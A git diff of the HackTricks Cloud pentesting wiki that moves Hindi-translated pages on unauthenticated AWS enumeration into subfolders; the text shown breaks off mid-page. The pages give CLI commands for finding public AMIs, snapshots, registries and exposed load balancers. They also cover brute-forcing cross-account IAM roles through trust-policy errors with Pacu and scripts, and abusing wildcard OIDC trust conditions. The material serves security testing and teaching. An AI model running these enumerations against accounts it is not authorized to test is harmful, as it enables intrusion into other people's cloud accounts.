-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
-
-# Public EBS snapshots (hard-drive copies)
-aws ec2 describe-snapshots --restorable-by-user-ids all
-aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
-```
-यदि आप एक स्नैपशॉट पाते हैं जिसे कोई भी पुनर्स्थापित कर सकता है, तो सुनिश्चित करें कि आप [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) पर डाउनलोड करने और स्नैपशॉट लूटने के लिए निर्देशों की जांच करें।
-
-#### सार्वजनिक यूआरएल टेम्पलेट
-```bash
-# EC2
-ec2-{ip-seperated}.compute-1.amazonaws.com
-# ELB
-http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
-https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
-```
-### सार्वजनिक IP के साथ EC2 उदाहरणों की गणना करें
-```bash
-aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
new file mode 100644
index 000000000..83fa9fcdb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
@@ -0,0 +1,54 @@
+# AWS - EC2 बिना प्रमाणीकरण Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2 & संबंधित सेवाएँ
+
+इस पेज पर इस बारे में अधिक जानकारी देखें:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### सार्वजनिक पोर्ट
+
+यह संभव है कि **virtual machines के किसी भी port को internet पर expose किया जाए**। exposed port में **क्या चल रहा है** इस पर निर्भर करते हुए attacker इसका दुरुपयोग कर सकता है।
+
+#### SSRF
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+### सार्वजनिक AMIs & EBS Snapshots
+
+AWS यह अनुमति देता है कि **किसी को भी AMIs और Snapshots डाउनलोड करने का access दिया जाए**। आप अपने अकाउंट से इन संसाधनों को बहुत आसानी से सूचीबद्ध कर सकते हैं:
+```bash
+# Public AMIs
+aws ec2 describe-images --executable-users all
+
+## Search AMI by ownerID
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
+
+## Search AMI by substr ("shared" in the example)
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
+
+# Public EBS snapshots (hard-drive copies)
+aws ec2 describe-snapshots --restorable-by-user-ids all
+aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
+```
+यदि आप कोई ऐसा snapshot पाते हैं जिसे कोई भी restore कर सकता है, तो snapshot को डाउनलोड और looting करने के निर्देशों के लिए [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) जरूर देखें।
+
+#### सार्वजनिक URL टेम्पलेट
+```bash
+# EC2
+ec2-{ip-seperated}.compute-1.amazonaws.com
+# ELB
+http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
+https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
+```
+### public IP वाले EC2 instances को सूचीबद्ध करें
+```bash
+aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
deleted file mode 100644
index bd3364d38..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - ECR अनधिकृत ENUM
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### सार्वजनिक रजिस्ट्री रिपॉजिटरी (छवियाँ)
-
-जैसा कि ECS Enum अनुभाग में उल्लेख किया गया है, एक सार्वजनिक रजिस्ट्री **किसी भी व्यक्ति द्वारा पहुँच योग्य** है जो प्रारूप **`public.ecr.aws//`** का उपयोग करती है। यदि एक हमलावर द्वारा एक सार्वजनिक रिपॉजिटरी URL पाया जाता है, तो वह **छवि को डाउनलोड कर सकता है और छवि के मेटाडेटा और सामग्री में संवेदनशील जानकारी की खोज कर सकता है।**
-```bash
-aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
-```
-> [!WARNING]
-> यह भी **निजी रजिस्ट्रियों** में हो सकता है जहाँ एक रजिस्ट्र्री नीति या एक रिपॉजिटरी नीति **उदाहरण के लिए `"AWS": "*"`** के लिए पहुँच प्रदान कर रही है। कोई भी जिसके पास AWS खाता है, उस रिपॉजिटरी तक पहुँच सकता है।
-
-### निजी रिपॉजिटरी की सूची बनाना
-
-उपकरण [**skopeo**](https://github.com/containers/skopeo) और [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) का उपयोग एक निजी रजिस्ट्र्री के अंदर पहुँच योग्य रिपॉजिटरी की सूची बनाने के लिए किया जा सकता है।
-```bash
-# Get image names
-skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+'
-crane ls  | sed 's/ .*//'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
new file mode 100644
index 000000000..b983e9d13
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
@@ -0,0 +1,30 @@
+# AWS - ECR Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### सार्वजनिक रजिस्ट्री रिपॉजिटरीज़ (images)
+
+जैसा कि ECS Enum सेक्शन में उल्लेख किया गया है, एक public registry **किसी भी व्यक्ति के लिए उपलब्ध** है और इसका फॉर्मैट **`public.ecr.aws//`** होता है। यदि कोई attacker किसी public repository URL का पता लगा लेता है, तो वह image **डाउनलोड कर सकता है और image के मेटाडेटा और कंटेंट में संवेदनशील जानकारी खोज सकता है**।
+```bash
+aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
+```
+> [!WARNING]
+> यह स्थिति **private registries** में भी हो सकती है जहाँ एक registry policy या एक repository policy **उदाहरण के लिए `"AWS": "*"` को access दे रही हो**। जिसके पास AWS account है वह उस repo तक पहुँच सकता है।
+
+### निजी Repo सूचीबद्ध करें
+
+टूल [**skopeo**](https://github.com/containers/skopeo) और [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) का उपयोग private registry के अंदर पहुँच योग्य repositories को सूचीबद्ध करने के लिए किया जा सकता है।
+```bash
+# Get image names
+skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+'
+crane ls  | sed 's/ .*//'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
deleted file mode 100644
index 49c10e131..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - ECS अनधिकृत ENUM
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### ECS सेवाओं के लिए सार्वजनिक रूप से सुलभ सुरक्षा समूह या लोड बैलेंसर
-
-एक गलत कॉन्फ़िगर किया गया सुरक्षा समूह जो **इंटरनेट से इनबाउंड ट्रैफ़िक की अनुमति देता है (0.0.0.0/0 या ::/0)** अमेज़न ECS सेवाओं के लिए AWS संसाधनों को हमलों के लिए उजागर कर सकता है।
-```bash
-# Example of detecting misconfigured security group for ECS services
-aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
-
-# Example of detecting a publicly accessible load balancer for ECS services
-aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..111c5c7d0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
@@ -0,0 +1,23 @@
+# AWS - ECS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### ECS Services के लिए सार्वजनिक रूप से सुलभ Security Group या Load Balancer
+
+एक गलत कॉन्फ़िगर किया गया Security Group जो **इंटरनेट से इनबाउंड ट्रैफ़िक (0.0.0.0/0 या ::/0) की अनुमति देता है**, Amazon ECS services के AWS resources को हमलों के लिए उजागर कर सकता है।
+```bash
+# Example of detecting misconfigured security group for ECS services
+aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
+
+# Example of detecting a publicly accessible load balancer for ECS services
+aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
deleted file mode 100644
index 8706b77af..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# AWS - Elastic Beanstalk Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### वेब भेद्यता
-
-ध्यान दें कि डिफ़ॉल्ट रूप से Beanstalk वातावरण में **Metadatav1 अक्षम** है।
-
-Beanstalk वेब पृष्ठों का प्रारूप **`https://-env..elasticbeanstalk.com/`** है।
-
-### असुरक्षित सुरक्षा समूह नियम
-
-गलत कॉन्फ़िगर किए गए सुरक्षा समूह नियम Elastic Beanstalk उदाहरणों को सार्वजनिक रूप से उजागर कर सकते हैं। **अत्यधिक अनुमति देने वाले इनग्रेस नियम, जैसे संवेदनशील पोर्ट पर किसी भी IP पते (0.0.0.0/0) से ट्रैफ़िक की अनुमति देना, हमलावरों को उदाहरण तक पहुँचने की अनुमति दे सकता है**।
-
-### सार्वजनिक रूप से सुलभ लोड बैलेंसर
-
-यदि एक Elastic Beanstalk वातावरण लोड बैलेंसर का उपयोग करता है और लोड बैलेंसर को सार्वजनिक रूप से सुलभ होने के लिए कॉन्फ़िगर किया गया है, तो हमलावर **लोड बैलेंसर पर सीधे अनुरोध भेज सकते हैं**। जबकि यह सार्वजनिक रूप से सुलभ वेब अनुप्रयोगों के लिए एक समस्या नहीं हो सकती है, यह निजी अनुप्रयोगों या वातावरणों के लिए एक समस्या हो सकती है।
-
-### सार्वजनिक रूप से सुलभ S3 बकेट
-
-Elastic Beanstalk अनुप्रयोग अक्सर तैनाती से पहले S3 बकेट में संग्रहीत होते हैं। यदि अनुप्रयोग को समाहित करने वाला S3 बकेट सार्वजनिक रूप से सुलभ है, तो एक हमलावर **अनुप्रयोग कोड डाउनलोड कर सकता है और भेद्यताओं या संवेदनशील जानकारी की खोज कर सकता है**।
-
-### सार्वजनिक वातावरणों की गणना करें
-```bash
-aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
new file mode 100644
index 000000000..649546813
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
@@ -0,0 +1,35 @@
+# AWS - Elastic Beanstalk Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Web vulnerability
+
+ध्यान दें कि डिफ़ॉल्ट रूप से Beanstalk environments में **Metadatav1 disabled** होता है।
+
+The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`**
+
+### Insecure Security Group Rules
+
+Misconfigured security group rules Elastic Beanstalk instances को सार्वजनिक रूप से एक्सपोज़ कर सकती हैं। **Overly permissive ingress rules, जैसे कि किसी भी IP address (0.0.0.0/0) से sensitive ports पर ट्रैफ़िक की अनुमति देना, attackers को instance तक पहुँचने में सक्षम कर सकता है**।
+
+### Publicly Accessible Load Balancer
+
+यदि कोई Elastic Beanstalk environment किसी load balancer का उपयोग करता है और वह load balancer सार्वजनिक रूप से accessible होने के लिए configured है, तो attackers सीधे **send requests directly to the load balancer** कर सकते हैं। हालांकि यह उन web applications के लिए समस्या नहीं हो सकता जो सार्वजनिक उपयोग के लिए बनाए गए हैं, यह private applications या environments के लिए समस्या बन सकता है।
+
+### Publicly Accessible S3 Buckets
+
+Elastic Beanstalk applications अक्सर deployment से पहले S3 buckets में store किए जाते हैं। यदि वह S3 bucket जिसमें application रखा है सार्वजनिक रूप से accessible है, तो कोई attacker **download the application code and search for vulnerabilities or sensitive information** कर सकता है।
+
+### Enumerate Public Environments
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
similarity index 68%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
index e04f1ac55..2cc1fc987 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
@@ -1,10 +1,10 @@
 # AWS - Elasticsearch Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### सार्वजनिक URL टेम्पलेट
 ```
 https://vpc-{user_provided}-[random].[region].es.amazonaws.com
 https://search-{user_provided}-[random].[region].es.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
deleted file mode 100644
index edd3384c0..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ /dev/null
@@ -1,162 +0,0 @@
-# AWS - IAM & STS अनधिकृत Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## एक खाते में भूमिकाएँ और उपयोगकर्ता नामों की गणना करें
-
-### ~~भूमिका मान लेना ब्रूट-फोर्स~~
-
-> [!CAUTION]
-> **यह तकनीक अब काम नहीं करती** क्योंकि यदि भूमिका मौजूद है या नहीं, आपको हमेशा यह त्रुटि मिलती है:
->
-> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
->
-> आप **इसका परीक्षण कर सकते हैं**:
->
-> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
-
-आवश्यक अनुमतियों के बिना **भूमिका मानने का प्रयास** AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है:
-```ruby
-An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
-```
-यह संदेश भूमिका के अस्तित्व की पुष्टि करता है लेकिन यह संकेत करता है कि इसकी असुमे भूमिका नीति आपकी असुमे की अनुमति नहीं देती। इसके विपरीत, **एक गैर-मौजूद भूमिका को असुमे करने की कोशिश करने से एक अलग त्रुटि होती है**:
-```less
-An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
-```
-दिलचस्प बात यह है कि **मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि** विभिन्न AWS खातों में भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाता में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है।
-
-आप इस [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) का उपयोग कर सकते हैं जो इस समस्या का लाभ उठाता है।
-
-### Trust Policies: Brute-Force Cross Account roles and users
-
-**IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना उस भूमिका को मान्यता देने के लिए अनुमत AWS संसाधनों या सेवाओं को परिभाषित करने में शामिल होता है** और अस्थायी क्रेडेंशियल प्राप्त करना। यदि नीति में निर्दिष्ट संसाधन **मौजूद है**, तो ट्रस्ट नीति **सफलता से** सहेजी जाती है। हालाँकि, यदि संसाधन **मौजूद नहीं है**, तो एक **त्रुटि उत्पन्न होती है**, जो बताती है कि एक अमान्य प्रमुख प्रदान किया गया था।
-
-> [!WARNING]
-> ध्यान दें कि उस संसाधन में आप एक क्रॉस खाता भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं:
->
-> - `arn:aws:iam::acc_id:role/role_name`
-> - `arn:aws:iam::acc_id:user/user_name`
-
-यह एक नीति का उदाहरण है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::216825089941:role/Test"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-#### GUI
-
-यह **त्रुटि** है जो आपको तब मिलेगी जब आप एक **भूमिका का उपयोग करते हैं जो मौजूद नहीं है**। यदि भूमिका **मौजूद है**, तो नीति **बिना किसी त्रुटि के** **सहेजी** जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने पर भी काम करती है)
-
-![](<../../../images/image (153).png>)
-
-#### CLI
-```bash
-### You could also use: aws iam update-assume-role-policy
-# When it works
-aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
-{
-"Role": {
-"Path": "/",
-"RoleName": "Test-Role",
-"RoleId": "AROA5ZDCUJS3DVEIYOB73",
-"Arn": "arn:aws:iam::947247140022:role/Test-Role",
-"CreateDate": "2022-05-03T20:50:04Z",
-"AssumeRolePolicyDocument": {
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::316584767888:role/account-balance"
-},
-"Action": [
-"sts:AssumeRole"
-]
-}
-]
-}
-}
-}
-
-# When it doesn't work
-aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
-An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
-```
-आप इस प्रक्रिया को स्वचालित कर सकते हैं [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)
-
-- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
-
-हम [Pacu](https://github.com/RhinoSecurityLabs/pacu) का उपयोग कर रहे हैं:
-
-- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
-- उदाहरण में उपयोग किया गया `admin` भूमिका एक **भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा** ताकि यह enumeration के लिए आवश्यक नीतियों को बना सके
-
-### Privesc
-
-यदि भूमिका गलत तरीके से कॉन्फ़िगर की गई है और किसी को भी इसे मानने की अनुमति देती है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "sts:AssumeRole"
-}
-]
-}
-```
-हमलावर बस इसे मान सकता है।
-
-## तीसरे पक्ष का OIDC संघ
-
-कल्पना करें कि आप एक **Github Actions कार्यप्रवाह** पढ़ने में सफल होते हैं जो **AWS** के अंदर एक **भूमिका** तक पहुँच रहा है।\
-यह विश्वास एक भूमिका तक पहुँच प्रदान कर सकता है जिसमें निम्नलिखित **विश्वास नीति** है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Principal": {
-"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com"
-},
-"Action": "sts:AssumeRoleWithWebIdentity",
-"Condition": {
-"StringEquals": {
-"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
-}
-}
-}
-]
-}
-```
-यह ट्रस्ट नीति सही हो सकती है, लेकिन **अधिक शर्तों की कमी** आपको इसे अविश्वसनीय बनानी चाहिए।\
-यह इसलिए है क्योंकि पिछले भूमिका को **Github Actions से कोई भी** मान लिया जा सकता है! आपको शर्तों में अन्य चीजें भी निर्दिष्ट करनी चाहिए जैसे कि संगठन का नाम, रिपॉजिटरी का नाम, वातावरण, शाखा...
-
-एक और संभावित गलत कॉन्फ़िगरेशन है **एक शर्त जोड़ना** जैसे कि निम्नलिखित:
-```json
-"StringLike": {
-"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
-}
-```
-ध्यान दें कि **वाइल्डकार्ड** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैसे एक संगठन बना सकते हैं और एक Github Action से **भूमिका** ग्रहण कर सकते हैं।
-
-## संदर्भ
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..34b71f656
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
@@ -0,0 +1,162 @@
+# AWS - IAM & STS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## खाते में Roles और Usernames को सूचीबद्ध करना
+
+### ~~Assume Role Brute-Force~~
+
+> [!CAUTION]
+> **यह तकनीक अब काम नहीं करती** क्योंकि चाहे role मौजूद हो या न हो आप हमेशा यह त्रुटि प्राप्त करते हैं:
+>
+> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
+>
+> आप इसे **रन करके टेस्ट** कर सकते हैं:
+>
+> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
+
+यदि आप **assume a role without the necessary permissions** करने का प्रयास करते हैं तो यह एक AWS त्रुटि संदेश उत्पन्न करता है। उदाहरण के लिए, यदि unauthorized है, AWS यह लौटा सकता है:
+```ruby
+An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
+```
+यह संदेश role के अस्तित्व की पुष्टि करता है लेकिन यह बताता है कि उसकी assume role policy आपको assume करने की अनुमति नहीं देती। इसके विपरीत, **non-existent role को assume करने का प्रयास एक अलग त्रुटि उत्पन्न करता है**:
+```less
+An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
+```
+दिलचस्प बात यह है कि यह तरीका **existing और non-existing roles के बीच अंतर पहचानने** के लिए अलग-अलग AWS accounts में भी लागू होता है। एक वैध AWS account ID और लक्षित wordlist के साथ, कोई बिना किसी अंतर्निहित प्रतिबंध के account में मौजूद roles को enumerate कर सकता है।
+
+आप इस [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) का उपयोग इस issue का दुरुपयोग करने के लिए कर सकते हैं।
+
+### Trust Policies: Brute-Force Cross Account roles and users
+
+एक **IAM role की trust policy को कॉन्फ़िगर या अपडेट करने में यह परिभाषित किया जाता है कि कौन से AWS resources या services उस role को assume करने और temporary credentials प्राप्त करने की अनुमति रखते हैं**। यदि policy में निर्दिष्ट resource **exists**, तो trust policy **successfully** सहेज ली जाती है। हालांकि, यदि resource **does not exist**, तो एक **error is generated** होती है, जो इंगित करती है कि एक अवैध principal प्रदान किया गया था।
+
+> [!WARNING]
+> ध्यान दें कि उस resource में आप एक cross account role या user निर्दिष्ट कर सकते हैं:
+>
+> - `arn:aws:iam::acc_id:role/role_name`
+> - `arn:aws:iam::acc_id:user/user_name`
+
+यह एक policy उदाहरण है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::216825089941:role/Test"
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+#### GUI
+
+यह वही **त्रुटि** है जिसे आप तब पाएँगे यदि आप किसी ऐसे **role का उपयोग** करते हैं जो मौजूद नहीं है। यदि role **मौजूद** है, तो policy बिना किसी त्रुटि के **सहेज** दी जाएगी। (यह त्रुटि अपडेट के लिए है, लेकिन यह बनाने के समय भी काम करती है)
+
+![](<../../../images/image (153).png>)
+
+#### CLI
+```bash
+### You could also use: aws iam update-assume-role-policy
+# When it works
+aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
+{
+"Role": {
+"Path": "/",
+"RoleName": "Test-Role",
+"RoleId": "AROA5ZDCUJS3DVEIYOB73",
+"Arn": "arn:aws:iam::947247140022:role/Test-Role",
+"CreateDate": "2022-05-03T20:50:04Z",
+"AssumeRolePolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::316584767888:role/account-balance"
+},
+"Action": [
+"sts:AssumeRole"
+]
+}
+]
+}
+}
+}
+
+# When it doesn't work
+aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
+An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
+```
+आप इस प्रक्रिया को [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) के साथ स्वचालित कर सकते हैं
+
